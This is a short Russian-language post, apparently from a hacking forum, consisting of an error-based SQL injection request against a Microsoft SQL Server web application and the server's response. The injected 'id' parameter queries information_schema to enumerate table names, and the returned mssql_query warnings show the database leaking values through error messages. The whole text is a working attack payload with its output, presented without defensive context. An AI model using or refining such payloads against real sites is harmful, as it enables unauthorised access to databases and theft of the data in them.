вот запрос
id=1+or+1=((select((table_name))from[information_schema].tables+where+TABLE_NAME+NOT+IN+('syssegments','sy ssegmentssyssegments','syssegmentssyssegmentssysse gments')))--

ответ
Warning: mssql_query() [function.mssql-query]: message: Invalid column name 'syssegmentssyssegmentssyssegmentssyssegmentssysse gmentssyssegments'. (severity 16)
Warning: mssql_query() [function.mssql-query]: Query failed
Warning: mssql_fetch_assoc(): supplied argument is not a valid MS SQL-result resource